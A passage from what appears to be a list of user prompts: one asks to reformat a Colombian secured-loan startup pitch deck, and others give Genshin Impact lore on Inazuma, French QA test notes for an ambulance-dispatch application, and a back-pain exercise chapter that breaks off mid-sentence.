contact with affected persons for maintaining communication skills or finding compensation strategies as well as working with their caregivers to teach them how to communicate more adequately.' -'Convert this to a well structured markdown document:\nThe Secured Loan Made Easy\nWith Sureti you get a loan in 10 days\nusing your house as a collateral\nFundamentally Different\nHigh-value loan size instead of\nmicro-credits.\nStrong collateral instead of\nfactoring.\nFunding initially from deposits\ninstead of institutional debt.\nSURETI IS A FUNDAMENTALLY DIFFERENT\nFINTECH\nThe Problem\nNo pressure to innovate and to expand the\nmarket is consequence of the oligopolistic\nnature of LATAM banking industry\nBanks Density\n(Number of banks per each million people)\nhttps://www.helgilibrary.com/indicators/number-of-banks/\nThe Problem\nFinancial Inclusion Vs Banks RoA -\nhttps://polymathv.com/library/articles/thriving-fintech-ecosystem-driving-financial-inclusion-latin-america\nLATAM has the lowest financial inclusion while\nbanks have the highest returns\nBanks Return On Assets Vs Financial Inclusion\nInformal loans\n3x bigger than formal market.\n30% of SME in LATAM\nlack of access to formal credit\nhas a major impact.\nThe Problem\nLatin Americans have access to shorter terms\nand early payments decrease evenmore the\neffective maturity term.\nhttps://www.gob.mx/fovissste/articulos/15-anos-en-promedio-pagan-acreditados-del-fovissste-sus-hipotecas?idiom=es\nhttps://www.oecd-ilibrary.org/docserver/f97d7fe0-en.pdf?expires=1679926917&id=id&accname=guest&checksum=1E576506EFAD3FFA896618672C53747D\nEffective term in\nColombia is 7 years\nValue of the homes without debt in LATAM\nCEPAL: https://www.cepal.org/es/inclusion-financiera-pymes/antecedentes - least use of collateral, 30% impact for SME\nPOLUMATH https://polymathv.com/library/articles/thriving-fintech-ecosystem-driving-financial-inclusion-latin-america - informal loans and informal lending and savings clubs\nFree of Debt https://www.dane.gov.co/files/investigaciones/condiciones\\_vida/calidad\\_vida/Boletin\\_Tecnico\\_ECV\\_2018.pdf\nThe Opportunity\nTo drive inclusion, we are unlocking\nthe value of assets\nUS$900B\nThe Market\nTAM: Loan Market is $3,800B in LATAM\nLatam Loan Market https://www.ceicdata.com/en/indicator/colombia/domestic-credit\nFinancial Inclusion 30% of need of Working Capital: https://www.cepal.org/es/inclusion-financiera-pymes/antecedente\nFormal Credit – CEPAL -https://repositorio.cepal.org/bitstream/handle/11362/47813/S2200090\\_es.pdf?sequence=1&isAllowed=y\nHome equity loan is calculated based on Colombian figures and each country population and credit access.\nhttps://www.dane.gov.co/files/investigaciones/condiciones\\_vida/calidad\\_vida/2020/comunicado-ECV-caracterizacion-2020.pdf\nSAM:\n$206 Billion\n• Home backed loans: $169B\n• Other assets: $37B\n6,7 million\nSlow Process:\nCollateralization takes 3 months.\nWhy others have not seen it\nCumbersome paperwork\n3 public documents of the collateral that\nusers cannot find.\nCostly Origination\n5% of the loan size. \nThe Solution\n10 days process\nIntroducing tech to an analog process.\nJust with the user’s ID\nWe are automating the nitty-gritty of the\npaperwork and doing it on behalf of the user.\nZero Origination costs\nWe are digitalizing the analysis of the asset\nhistory and current asset status.\nSURETI is driving financial inclusion by\nunlocking the value of assets\nREAL ESTATE\nCOLLATERAL\nWe created a system to\ndo the mortgage and\ndisburse the loan in 10\ndays.\nBEST IN CLASS\nAPP\nWe create our own\ntechnology that allows to\noperate the loans 30%\nmore efficiently.\nUNIQUE MODEL FOR\nDEPOSITS\nWe build a solution to\nallow people to invest,\nand earn monthly\nreturns.\nWhat we have done\nHigh-Value\nLoans\nLTV/CAC: 4.0\nCost to serve 30%\nlower than micro\nloans.\nStrong Unit\nEconomics\n2.6\nCoverage\non Real\nEstate\nCollaterals\nNO BAD DEBT\nHigh liquid assets.\n$6M in asset value.\nStrong\nCollateral\nUS$10.000\nAverage\nDeposit per\nUser\n185% NET DOLLAR\nRETENTION\nRisk is accepted by\nthe user.\nCost of\nFunding\n30x faster\nthan other\nfintech and\nbanks\n10 DAYS\nDISBURSEMENT\nTIME\nRemoving the\nnitty-gritty of the\nprocess.\nProduct-led\nGrowht\nDriving competitive advantage against other\nfintech and banks.\nCost of Serve of reference is from NU BANK Q3 2022 Earnings Presentation\nNO Origination Fees.\nNO Commissions.\nUnique Business Model\nSURETI’s MRR is the difference between the interest\npaid by each loan and the cost of funding/deposits.\nUnique business model that generates\nMonthly Recurring Revenues\nTraction & Validation\n$21,105\n3x Growth in MRR\nGrowth in 59 out of past 6 weeks (93%).\n$6,303\n114\nActive Loans\n$2.7M\nLoans\n$7M\nAsset Valuation\n319\nActive Deposit\nUsers\n188%\nNet Dollar\nRetention\n0.76%\nSpread\nFigures updated up to 27th of March\nTraction & Validation\n2% Compound Weekly\nGrowth Rate for MRR\nDuring the last year\n$6.303\nFigures updated up to 27th of March\nMRR Weekly Growth Rate\nLOANS\nCompounding effect by increasing active\nloans while increasing spread\nLOANS\nSureti is in the sweet spot of demographics\n65% of our users do not have access\nto formal credit even though they\nhave a real estate asset.\n85% of our users are\nvulnerable and mid class.\nLOANS\n$6.5M\n$2.5M\n2.6 Loan\nCoverage\n5% is under legal\ncollection\nLOAN\nWhy users love Sureti?\nRapid and easy\nUsers get the disbursement in less than 10 days. Sureti in\ncharge of the nitty-gritty of the process.\nLess cash needed\nUsers manage the repayment themselves through the app.\nZero Origination Fees\nUsers received 100% of the loan amount without discounts or\nhidden costs. \nChannel Acquisition & Unit Economics\nLOAN\nChannel Mix: Alternative channels to tackle\ninformality\nDigital Paid 63%\nFreelance\nConsultants 4%\nOn the street\nFreelance 20%\nReferrals 13%\nNew channel\nNo incentives\nSimilar CAC\nUnit Economics\nStrong unit economics driving competitive\nadvantage against both incumbents and fintech \nUnit Economics\nHigh efficiency and excellent execution\nof the capital raised\nFrom Jan to Dec 2022.\nCash Burn: $78K\nNew Revenue: $53K\nCapital Raised: $100K in Feb and $100k in Oct.\nTotal ARR: $117K\nBurn Multiple\n1,46\nHype-Factor\n1,70\nDepositors/Investors\nDeposit users has been Sureti’s entry point to\nfund the loans.\nDEPOSITS\nChurn Nuevos Retention Expansion Contraction Smile\nThe Team and Next Steps\nTHE TEAM\nAndres and his family have 20\nyears of experience in secured\nloans with real estate assets.\nCarlos has design and\ndeveloped software for over\n14 years.\nSEED ROUND\nTHE ASK $1.1M\nBogota\nTraction\nLATAM\nBank\nLicense\nUnited\nStates\nWorldwide\nLeader in\nSecured Loans\nColombia\nInstitutional\nDebt\nMilestones to reach $1.9M ARR in 18 months:\n• Disbursement time to 5 days and risk engine.\n• Footprint in 7 cities.\n• 2 New credit lines, cars and payroll.\n• Structuring debt financing\nCAP: $6M\nThe Secured Loan Made Easy' -'First, I would like to introduce you place where Filon will go in that chapter.\n\nInazuma (Japanese: 稲妻 Inazuma) is one of the seven regions in Teyvat. It is an archipelagic region that worships Raiden Shogun, the Electro Archon, who is also the leader of its governing body, the Inazuma Shogunate. Inazuma is located approximately 4 km southeast from Liyue Harbor and is a close neighbor with the Dark Sea.[2]\n\nIn the past year relative to the current events of the game, the situation in Inazuma has made a drastic turn towards isolationism, locked down under the Sakoku Decree. "Baal" also enacted the related Vision Hunt Decree, declaring that Visions, as gifts from the gods, should be in the sole hands of divinity — and is now rounding up all Visions in Inazuma to inlay them in the hands of a statue of the Thousand-Armed, Hundred-Eyed God.[3]\n\nAtsuko, an Inazuman who defected to Liyue, describes the country as having a "tense" and "dangerous" environment and discourages traveling there; she also remarks that the Kanjou Commission, one of the Tri-Commission, conduct many assessments that citizens must pass in order to be given permission to leave Inazuma. She bypassed those assessments by making her own raft and fleeing to Liyue. However, the Fatui seem to be able to freely enter and exit due to their diplomatic immunity.[Note 1] \n\nThe Inazuma archipelago is sub-divided into three main factions: the islands ruled by the Raiden Shogun (Narukami Island, Kannazuka, Yashiori Island, and Seirai Island), Watatsumi Island which worships Orobashi, and Tsurumi Island which was destroyed by Kanna Kapatcir in the distant past and has largely been uninhabited since.\n\nWhile these islands are all considered part of Inazuma, the geographical and cultural makeup of these areas are vastly different. \n\nLife in Inazuma\n\nLife in Inazuma prior to the Ei\'s Vision Hunt and Sakoku Decree is unknown, but Paimon states that Inazuma did not have any problems the year before she began accompanying the Traveler.[1] After Ei issued her decrees, life in the region took a drastic turn for the worse for all, as available resources in the nation dropped and very few goods were imported in, forcing many businesses to look for alternate methods. Crime is particularly rampant in Inazuma\'s wilderness, with large numbers of Treasure Hoarders and ronin like Nobushi and Kairagi.\n\nAtsuko, a native of Inazuma, stated that Inazuma has a very tense and dangerous atmosphere.[2] Bibo likewise considers it to be very dangerous, claiming that while he can get anything at the right price, he refuses to get any Inazuman products.[3]\n\nFollowing the abolishment of the Vision Hunt Decree and expulsion of corrupt officials, life began to slowly improve for the better, although the Sakoku Decree meant that the economy was still struggling. After Ei abolished the Sakoku Decree, life took a turn for the better as the nation is finally able to conduct general trade and an outpouring of foreign visitors.\n\nBake-Danukis are known to live in Inazuma, who enjoy pranking passersby by pretending to offer food and shelter, disguising it as leaves and mud.[4] While humans are still the most predominant inhabitants of Inazuma, youkai such as tengu, oni and kitsune also reside in Inazuma; however, like the adepti of Liyue, few remain and most live in seclusion.\n\nInazuman samurai society often revolves around an honor system of sorts; samurai families, being relatively common in Inazuma, have an immense amount of pride and honor, often sending their children to serve in the Shogun\'s armies to glory and fame. Samurai are known to engage in duels from time to time. They are particularly prideful of their own skills; being bested in battle or duel by another or being helped by an outsider is typically considered to be shameful.[5]\nAgriculture\n\nWatatsumi Island has historically had very poor soil for growing crops, which was a primary motivating factor for the Narukami-Watatsumi War at the end of the Archon War. According to legend, Enkanomiya is constantly trying to pull the spirit of Watatsumi Island into the depths, causing soil erosion and bleaching that turns it into "Holy Soil." The Watatsumi Mitama Omatsuri is a ritual performed to stave off the spread of Holy Soil. Tsuyuko, a shrine maiden who studied at Sumeru Akademiya, believes that "Holy Soil" is actually caused by the salinity and alkalinity of the seawater encroaching on the island, which leaches nutrients from the soil.[6]\n\nOther islands appear to be having a similar issue, as Konda Village of Narukami Island has difficulty in trying to grow crops.\n\nMany Lavender Melon trees can be found across Inazuma\'s islands. While Sunsettia and Apple trees cannot be found in Inazuma\'s overworld, this seems to be a purely gameplay phenomenon: the Expedition reward for Byakko Plain includes Sunsettias, which indicates that Sunsettias can be found in Inazuma\'s wilds.\nArchitecture\n\nInazuman buildings and furnishings typically make use of Aralia, Maple, Otogi or Yumemiru Wood. Yumemiru wood is typically used for creating shrines.\nCuisine\nMain page: Category:Inazuma Dishes\n\nAccording to Chongyun, authentic Inazuman cuisine is ice-cold fresh and can take the exhaustion away from a day of hard training.[7] Seafood plays an important role in Inazuman cuisine, such as sushi and tempura. Other foods include poultry like Imported Poultry, ramen, dango, and egg rolls.\nTechnology\n\nThe Maguu Kenki originate from Inazuma. They are magical autonomous puppets that use the powers of Cryo and Anemo, having been created by unknown people to mimic the Iwakura Clan sword arts.\n\nOnmyoudou was also developed in Inazuma by Kamuna Harunosuke. While mostly forgotten, traces of it still exist in legends and by the Kairagi, who utilise shikifuda to elementally infuse their swords despite not having a Vision.\nDuels\n\nA Duel Before the Throne is a traditional Inazuman duel between two combatants that is fought in Tenshukaku and witnessed by the Shogun.\n\nIf someone has a disagreement with another party or feels that they have been slighted in some way, they can challenge the offender to a duel before the throne. The two parties will travel to Tenshukaku and present their case to the Raiden Shogun. If the Shogun gives them the clearance to engage in combat, then they will begin fighting until someone is unable to duel any further. These duels always end in the death of one of the combatants. The loser is either killed by a lethal blow, or if they survive the duel, executed by the Musou no Hitotachi.\n\nTwo notable duels have been referenced so far. Kazuha\'s Friend challenged the Raiden Shogun to a duel for instituting the Vision Hunt Decree, and Kujou Sara accepted on her behalf. He ultimately lost the duel and was executed. Later, during Duel Before the Throne in the Omnipresence Over Mortals Archon Quest, the Traveler challenged Signora to a duel in an attempt to stop the Fatui from taking over Inazuma and also as an act of revenge for her stealing Venti\'s Gnosis. A hard battle was fought, and ultimately, Signora was defeated and executed by the Musou no Hitotachi.\nArts\nIkebana\n\nIkebana is the art of arranging flowers to create a floral courtyard. Current known practitioners are Kamisato Ayaka and Fushizome. \n\nEconomy\n\nBook printing appears to be one of the main trades in Inazuma, in part due to the Yae Publishing House, who are known throughout Teyvat as the giant in the printing industry. They occasionally host the "This Novel is Amazing!" contest.\n\nPrior to the Sakoku Decree, Inazuma frequently exported toys, fireworks and kimonos. After the Shogun issued the decree, only ships affiliated with the Kanjou Commission could bring items in and out, resulting in less trade domestically and internationally. Even then, the fierce storms generated by the Shogun meant that few ships dared to brave them and many goods were lost in the process. Fishing also saw a decline as the Tenryou Commission saw boats of all sizes as escape vessels. After the Sakoku Decree was abolished, all of these are slowly returning to pre-decree levels.\n\nLike Liyue, Inazuma also possesses a mining and smithing industry. Jakotsu Mine and the Mikage Furnace are well known in Inazuma, but the former closed after a "sickness" spread throughout the island, while the latter closed after the core went critical, threatening to leak Tatarigami energy until it was fixed, but even then, many are still hesitant to return. Inazuman swords are particularly well known due to the use of Jade Steel, a special material from Tatarasuna, although production has since halted following the peace treaty between Watatsumi and the Shogunate. \n\nPolitics\n\nThe Shogun is assisted by a group known as the Tri-Commission by its people; they act similarly to the collective of the Liyue Qixing and the Eight Trades, with each commission handling different responsibilities.[8][Note 1]\n\nThe Tri-Commission consists of three commissions; the Kanjou, Tenryou and Yashiro Commission. Each one tends to their own duties and are led by a prestigious clan the Hiiragi, Kujou and Kamisato Clan respectively.\n\nThe Kanjou Commission handles the nation\'s borders, checking documents of both foreigners and returning citizens. They were originally led by Hiiragi Shinsuke, who was dismissed for his role in the Fatui plot.\n\nThe Tenryou Commission handles the nation\'s security from all internal and external threats. They were originally led by Kujou Takayuki, who was dismissed for his role in the Fatui plot. Similarly to Shinsuke, an official successor has not been declared, although Kujou Sara currently fills the role.\n\nThe Yashiro Commission handles the management of shrines, festivals and cultural events, being the most connected to the people. They are currently led by Kamisato Ayato. Outside of this, Ayato is also responsible for handling corrupt officials and the Shuumatsuban, a ninja organization that directly answers to him. The Shuumatsuban handle clandestine operations such as intelligence gathering and counter-ops.\n\nWatatsumi Island is a unique outlier in that the island is mostly governed by the Divine Priestess of the Sangonomiya Clan due to the islanders\' worship of Orobashi instead of Ei. The current Divine Priestess is Sangonomiya Kokomi.\n\nPrior to the Traveler\'s arrival in Inazuma, Ei had enacted both the Vision Hunt and Sakoku Decree as she felt that they aligned with her ideals of eternity at the time. In reality, this was a Fatui plot intended to cause instability in the nation and market their Delusions, convincing both Shinsuke and Takayuki to collude with them. Takayuki would feed the Shogun false information about the war while Shinsuke would provide the Fatui with Crystal Marrow. While the Kamisato siblings were suspicious of the unusual circumstances, their lack of influence and the potential consequences did not result in much activity. The resulting Vision Hunt Decree caused a civil war between the Watatsumi Army and the Shogunate.\n\nWhen the Traveler arrived, they were able to discover the whole truth of the plot and with the assistance of Yae Miko, convinced Ei to start listening to her people\'s wishes. After learning the full extent of the Fatui plot, she stripped both Shinsuke and Takayuki of their positions and roles, placing them under house arrest. The civil war subsequently concluded and talks were held between the Shogunate and Watatsumi Island. While spending more time with the Traveler,[9][10] Ei came to realize that her beliefs had been wrong from the start and decided to take a more active role in giving her people the happiness they deserved, abolishing the Sakoku Decree.\nMilitary\n\nInazuma has three military forces - the Shogun\'s Army, the Watatsumi Army and the Shuumatsuban. The Shogun\'s Army is the primary army of Inazuma; the Watatsumi Army simply upholds order on their lands while the Shuumatsuban is a clandestine force.\n\nThere are some ranks in the Shogun\'s Army - recruits, captains and samurai. Polearms are the common weapon of choice for non-samurai, while samurai exclusively use swords and bows, given that the art of the sword is highly regarded in the nation.[11]\nMotto\n\nOne of the national mottos of Inazuma (especially one during military campaigns) is "Glory to the Shogun and her everlasting reign!"[12][13][14]\n\nThe corresponding motto in the Japanese localization and the Chinese original can be translated as "The one who hath spread the unchanging way is the eternal Narukami!", where the "unchanging way" means the unconditional truth of life and the universe, while Narukami ("Thundering God" or lit. "Roaring God") is a title of the Raiden Shogun (Japanese: 常道を恢弘せしは、永遠なる鳴神なり！ Joudou wo kaikou seshi wa, eien naru Narukami nari!; Chinese: 常道恢弘，鸣神永恒！ Chángdào huīhóng, Míngshén yǒnghéng!, lit. "The unchanging way [is] immense, Narukami [is] eternal!").[Note 2]\nReligion\n\nCompared to Mondstadt and Liyue, Inazuma\'s religious devotion is much more visible in their culture, as Shogunate-held islands worship the Shogun. The people of Watatsumi Island worship Orobashi instead.\n\nA long time ago, a group of islanders on Tsurumi Island worshipped Kanna Kapatcir, calling her the Thunderbird. Due to unusual circumstances surrounding the island, they did not have any contact with the rest of Inazuma, as they believed that certain death awaited those who traversed the foggy ocean. This tribe was wiped out after Ruu sacrificed himself to appease the Thunderbird when he felt that the situation on the island was becoming worse.' -'voici mes anciens plan de tests pour différentes fonctionnalités de saphir\n❌ ✔\nAucun problèmes rencontrés\nIncohérence rencontrés :\nProblèmes rencontrés :\nTests effectués:\nAffichage du tootlip sur les donneurs d\'ordre ✔\nInformations présentent :\n adresse de facturation ✔ pas affiché si n\'existe pas\n numéro de téléphone ✔ pas affiché si n\'existe pas\n nom ✔\n alias ✔\n finess ✔\nOuverture de la fenetre de gestion des séries depuis \n - une série \n - un transport unique\n - un nouveau transport \n ✔ "Date de fin" vide\nBouton "Récupérer la date de fin de l\'année actuelle" ✔ la date est bien saisie et prise en compte dans l\'affichage\nCreation/modification de séries ✔\nAffichage du bandeau Carius dans tripList ✔\nAffichage de la 1er modal d\'acceptation \n une série de transport\n un transport unique\n aller retour\n aller simple\n✔ Les infos sont présentes\nAcceptation ✔ la ligne est directement réaffiché avec les informations du client\nRefus ✔ \nAffichage de la 2nd modal d\'acceptation ✔ Les infos sont présentes\nAcceptation ✔ Les transport sont bien ajouté dans Saphir\njuste le cas de la valeur d\'enum CariusServiceFamilly MedicalImaging \nAffichage dans la liste des missions d\'une intervention reçut de Rubis \n - Ambulance\n - VSL\n - ASSU\n - TPMR\n✔ Les interventions sont affichées dans le bandeau Rubis de la liste des missions\nAffichage de la fenetre d\'acceptation des interventions précédemment reçut de Rubis ✔ Le type de véhicule et les particularité sont juste\nAcceptation des interventions garde départemental précédemment reçut de Rubis ✔ Les interventions sont ajoutées à la liste des missions\nValidation des missions venant des interventions Rubis ✔ les mission sont bien validées et les factures crées \nListe des méhodes testées\n - GetJourneyHistoryForCustomer ✔\n - ProcessJourneyWitoutFare ✔\n - FindExternalBills ✔\n - SetupServiceConfigLoader ✔\n - ColumnExists ✔\n - GetIndexesForColumn ✔\n - GetDefaultConstraints ✔\n - DeleteCubeItems ? c\'est de l\'algo mais la correction marche partout ailleur donc bon \n - SaveVersion ✔\nFenêtre de création de mission SAMU ✔\n - Affichage ✔\n - Création de mission SAMU ❌ GuardLineIdGuardLine et InterventionIdSector sont bien enregistrées sur la journey mais pas CarrierIdSector\nExport TUPH ❌ plus aucun transport remonté dans l\'export\n- CarrierIdSector jamais renseigné\n- plus aucun transport remonté dans l\'export TUPH, il faut changer les INNER JOIN en LEFT JOIN :\n LEFT JOIN Sectors sg ON sg.Id = j.CarrierIdSector\n LEFT JOIN Sectors si ON si.Id = j.InterventionIdSector\n LEFT JOIN GuardLines gl on gl.Id = j.GuardLineIdGuardLine\n- Pour les actions Supprimer et Restaurer des lignes de garde / Secteurs UPH, ne pas passer tout le dto mais juste l\'id et mettre à jour que la suppressionDate\nImportation de mission Sirus ✔ \n - ligne de garde : Nouveau ✔ / déjà présent ✔\n - Secteur de garde : Nouveau ✔ / déjà présent ✔\n - Secteur d\'intervention : Nouveau ✔ / déjà présent ✔\nLignes de garde UPH ✔ section présente dans les outils\nLignes de garde UPH ✔ la liste est affichée\n - Filtre Nom ✔\n - Filtre Etat ❌ Soucis d\'affichage de la valeur (voir en dessous) ✔ mais ça filtre bien\n - > 20 éléments ✔ l\'affichage passe en mode liste\nFiche Ligne de garde ✔ la fiche est affichée\n - Sauvegarde ❌ dans le cas ou les champs son vide plutôt que masquer le bouton sauvegarder on peut ajouter des messages Nom obligatoire etc\n - Sauvegarde Ajout ❌ erreur en essayant d\'ajouter une ligne avec uniquement un nom\n - Sauvegarde Modification ✔\n - Supprimer✔\n - Restaurer ❌ Icone Restaurer (voir en dessous) , ✔ Ok pour le traitement\n - Doublon : Ajout ✔ Modification ✔ Restaurer ✔ Suppression ❌ en supprimant j\'arrive a créer un doublon de nom de secteur\nSecteurs UPH ✔ section présente dans les outils\nListe des Secteurs UPH ✔ la liste est affichée\n - Filtre Etat ✔\nFiche Secteur ✔ la fiche est affichée\n - Restaurer ❌ Icone Restaurer (voir en dessous), ✔ Ok pour le traitement\nDepuis TripList : \n - Affichage du bandeau équipages ✔\n - Assignation/Désassignation d\'un équipage ✔\nSans le bandeau équipage : \n - Survole d\'une ligne dans TripList avec un équipage complet ✔ l\'icone n\'est pas affichée\n - Survole d\'une ligne dans TripList avec un équipage incomplet ✔ l\'icone n\'est pas affichée\nAvec le bandeau équipage : \n - Survole d\'une ligne dans TripList avec un équipage complet ✔ Affichage de l\'icone dans la colone type de véhicule\nTooltip présent sur l\'icone ✔\nClique sur la flèche avec l\'équipage présent dans les résultats le bandeau équipage ✔ l\'équipage correspondant est bien sélectionnée\nClique sur la flèche avec l\'équipage absent des résultats du bandeau équipage ❌ la flèche ne devient pas rouge \n Depuis TripList : \n - Affichage du bandeau équipages ✔\n - Affichage de tous les véhicules ✔\n - Assignation/Désassignation d\'un équipage ✔\n - Assignation/Désassignation d\'un équipage vide ✔\n - Réaffecter un équipage ✔\n - Réaffecter un équipage vide ✔\n Depuis TripAdd : \nDepuis autre :\n- Récupération des missions Carius ✔ le bandeau est bien affiché\n- 1er acceptation ✔ la mission revient dans le bandeau\n- accepter la mission ✔ affichage de la modal \n - établissement compatible trouvé\n - Adresse de départ ✔ affichage de la liste déroulante des établissements\n - Adresse d\'arrivé ✔ affichage de la liste déroulante des établissements\n - pas d\'établissement compatible trouvé\n - Adresse de départ ✔ affichage de la checkbox "Créer la fiche"\n - Adresse d\'arrivé ✔ affichage de la checkbox "Créer la fiche"\nValider avec checkbox "Créer la fiche du professinnel de santé" ❌ Exceptions SqlException:L\'instruction INSERT est en conflit avec la contrainte FOREIGN KEY "FK\\_Trips\\_CompanyIdCompany". Le conflit s\'est produit dans la base de données "dbfram3\\_0131", table "dbo.Companies", column \'IdCompany\'.\nValider sans checkbox "Créer la fiche du professinnel de santé" ❌ Exceptions SqlException la même\nOption "Créer la fiche du professinnel de santé" quand il existe déja dans saphir ❌ Exceptions DuplicateException: Un etablissement existe déjà avec ce même prénom, nom et numéro Finess\n02/02 16:59:18.208 ERR DbException [CatchDbException]\nExceptions.DuplicateException: Un etablissement existe déjà avec ce même prénom, nom et numéro Finess\nSur la fiche client/employé\n - Creation d\'un client/employé avec la nationalité Britannique ✔ le client/employé est bien enregistré\n - Creation d\'un client/employé sans la nationalité Britannique ✔ le client/employé est bien enregistré\n - Modification d\'un client/employé, mettre la nationalité Britannique ✔ le client/employé est bien enregistré\n - Modification d\'un client/employé, enlever la nationalité Britannique ✔ le client/employé est bien enregistré\n - Suppression d\'un client/employé avec la nationalité Britannique ✔ le client/employé est bien supprimé\n - La nationalité Britannique est disponible dans la liste des nationalitées des adresses ✔\n - L\'indicatif Britannique est disponible dans la liste des indicatifs ✔ \n - Si l\'indicatif Britannique est séléctionnée ✔ le format du numero de téléphone est adapté \n - Si l\'indicatif Britannique n\'est pas séléctionnée ✔ le format du numero de téléphone est adapté\nTu peux rajouter dans la RN que tu as mis l\'indicatif +44 aussi\nAffichage d\'une facture sans fichier de presciption ✔ l\'icone de fichier presciption n\'est pas visible\nAffichage d\'une facture avec fichier de presciption ✔ l\'icone de fichier presciption est visible, le fichier est bien affiché au survole\nSuppression du fichier et retour sur la facture ✔ l\'icone de fichier presciption n\'est pas visible\nAjout d\'un fichier presciption et retour sur la facture ✔ l\'icone de fichier presciption est visible, le fichier est bien affiché au survole\nAffichage de la liste des équipages avec anonymisation ✔ la colonne Nom n\'est pas affiché\nAvec ou sans anonymisation ✔ Il est possible d\'afficher/cacher la colonne ID Employée\nAffichage de la liste des équipages pour une ambulance ✔ fonctionne aussi sur la grid Equipier 2.\nQuestionnement\nEst ce que c\'est normale de pouvoir cacher la colonne ID Employée même avec l\'anonymisation ?\nJe ne sais pas si c\'est vraiment lié à ton dev, mais le clique droit pour le menu d\'affichage des colonnes ne marche pas sur les colonnes Nom et Id Emp de l\'équipier 2.\nAffichage des série dans le bandeau Carius ✔\nfiltre plugin d\'intégration valeur "Carius" ✔\nAffichage des raison d\'annulation en verts clair ✔\nAffichage des raison d\'arrêt de série Carius en verts clair ✔\nColonne de note ✔\naffichage des notes ✔\naffichage des raisons des notes ✔\nDemandes de transports avec les données :\nDepuis Carius reservation\n - Transport couché ✔\n - Transport assis ✔\n - Prescription \n - oui\n - non\n - Raison de transport ✔\n - Adresse départ ✔\n - Adresse arrivé ✔\n - Commentaires départ ✔\n - Commentaires arrivé ✔\n - Transport aller-retour\n - oui ✔\n - non ✔\n - Date et heure de rdv ✔\n - Société de transport ✔\n - Accompagnateur\n - oui ✔\n - Information Prescription Médicale de Transport\n - Une Affectation Longue Durée ✔\n - Un Accident de Travail ✔\n - Ce transport nécessite :\n - Oxygène ✔\n - Brancard bariatrique ✔\n - Fauteuil roulant ✔\n - Asepsie ✔\n - Souhaitez-vous être rappelé(e) par votre ambulancier ?\n - oui\n - commentaire ✔\n - Série ✔\n - Acceptation de la Série ✔\n - Refus de la Série ✔\n - Création du client ✔\n - Acceptation de l\'intervention ✔\n - Refus de l\'intervention ✔\nDepuis Carius etab\n - Patient\n - nouveau ✔\n - existant ❌ pas de maj des spécificitées ?\n - Motif du transport ? équivalent Saphir manquant\n - Le patient est-il hospitalisé au moment du transport ? équivalent Saphir manquant\n - Le patient est-il en HAD ? équivalent Saphir manquant\n - Etes-vous gestionnaire de cette HAD ? équivalent Saphir manquant\n - Commentaires ✔\n - Suspicion COVID-19 ✔\n - Infection COVID-19 ✔\n - Date et heure du transport ✔\n - Transporteur ✔\n - Avion ? équivalent Saphir manquant\n - Bateau ? équivalent Saphir manquant\n - Asepsie ❌ pas en commentaire\n - Brancard bariatrique ✔\n - Fauteuil roulant ❌ pas en commentaire\n - Oxygène ❌ pas en commentaire\n - pédiatrique ❌ pas en commentaire\n - TPMR ❌ En commentaire alors qu\'il pourrait être sur la journey' -'Read the chapter 15 { \nCHAPTER FIFTEEN\n RULE #6\n Crawl Before You Walk, Walk Before You Run\n From Jeremy\nAs you know by now, the essence of the protocol is lifelong behavioral change. That means changing the way you carry yourself and move (the neutral spine and all that). But it also means adopting and staying with our carefully designed (and progressive) exercise regimen. It is designed for back pain and it is essential for a permanent cure. And you have to do it correctly. There is an awful lot of text and a bunch of pictures about exercise in this book. But it’s not because you have to do so many exercises; there really aren’t that many. It’s because we want you to do them right. Remember, you are far more likely to do these exercises with the compensatory patterns you have been doing for years unless you read closely and concentrate on doing them the right way. Doing them the wrong way will just make you better at doing bad things. \nOne great key to doing them right is to go slow in the learning process. Whether you’re the type or not, you have to take it step-by-step. This is a healing process, and you cannot rush a healing process; it has its own rhythm and you have to follow it. Roll out these exercises slowly over time, progressing from one level to the next only when you “get” the level you are on and are ready to move up. \nRemember, it is these daily exercises that—more than anything else—are going to give most of you a significant and permanent reduction in pain and tightness. Other steps get you past the immediate pain. These steps make the change permanent. \nBe Still to Heal; Be Still to Stay Well \nOne of the main goals of changing your movement patterns is to make the “be still to heal” concept (Rule #2, in Chapter 7) part of your daily life. Once you have achieved an initial fix, you don’t have to be as still. But it is a great idea to learn to move with relative stillness (without moving your lumbar spine too much) all the time. \nThis is a big change for most of you, and you have to take it in steps; as I say, you have to crawl before you walk. The first step in learning to keep your lumbar spine still routinely is simply to learn to march in place, with a neutral spine. (This is the “crawl” part of the process; it may seem too easy to bother with. It is not.) The goal is to learn to march in place with no lower spine movement. Then you can move on to other movements in this chapter.\nKey tip: If any of these movements hurt, take a step back to the last thing you could do without pain (marching in place, for instance). Stay with that for a few more days and then try to progress again. In theory, if you can march in place without pain, you can walk without pain and move without pain. It’s just a matter of building up your core, turning on the right muscles, and learning to use those muscles to move in the right way. Whenever you have difficulty, go back to the previous step and start again. \nOkay, you’ve done marching in place without moving your lower spine. Once that feels relatively simple, try doing this while walking. Things become a little murkier here because there are many factors at play. Because you are now weight-bearing, you need the support of important muscle groups like the glutes and latissimus dorsi (lats) to support your spine, in addition to the muscles we talked about in the core. If you can’t do this at first without pain, follow the advice in the book for a while, and it will come once you have developed enough strength to support your spine while standing. \nWalking with Neutral Spine \nLearning to walk with a neutral spine means applying the same mechanics of your Slow March with Neutral Spine exercise to an upright, weight-bearing position. Almost everyone can improve their ability to walk without pain if they can do the slow march exercise on the ground. The distance you can walk without pain, or without significant increases in pain, will increase as you build core and gluteal strength and endurance by doing the exercises in this book. To get started on increasing your ability to walk with decreased pain, follow these directions:\nStep 1: Stand with good posture. Stand tall, shoulders back, head over your shoulders. Think of sticking your chest out and pulling your shoulder blades down and back. Make sure you aren’t leaning forward. Tilt your pelvis back and forth (just like you did on the floor earlier), and stop where your lower back feels the most comfortable. \nStep 2: Use your core to lock your neutral spine in place. \nStep 3: Now try to walk while maintaining the position of your lower back and with the good posture you just set. It can help to put one hand on your stomach and one on your low back to feel for movement. Once you feel like you’ve mastered maintaining neutral spine while walking, start to swing your arms from the shoulders, arm to opposite leg. This means if your right leg is swinging forward, your left arm should be as well. Make sure to always swing your arms from the shoulders as you walk; this helps dissipate force away from the spine. This movement takes time to master so don’t get frustrated. Keep practicing. It gets easier after you have built endurance and strength in the muscles that support the spine. \nStep 4: If you sense your back is about to hurt, stop and have a seat for a few minutes and give your back a break. Then try walking a little longer. Over time, the period between these sitting breaks should increase, allowing you to walk farther without pain.\nNow let’s move on to more complex movements. To make it easier (and to improve your chances of success) we are going to break those more complex movements down into pieces and then put them all together at the end. We will start with movement from the hips, a very basic move in all our lives all the time. Let’s start with hip-hinging. Hip-hinging is 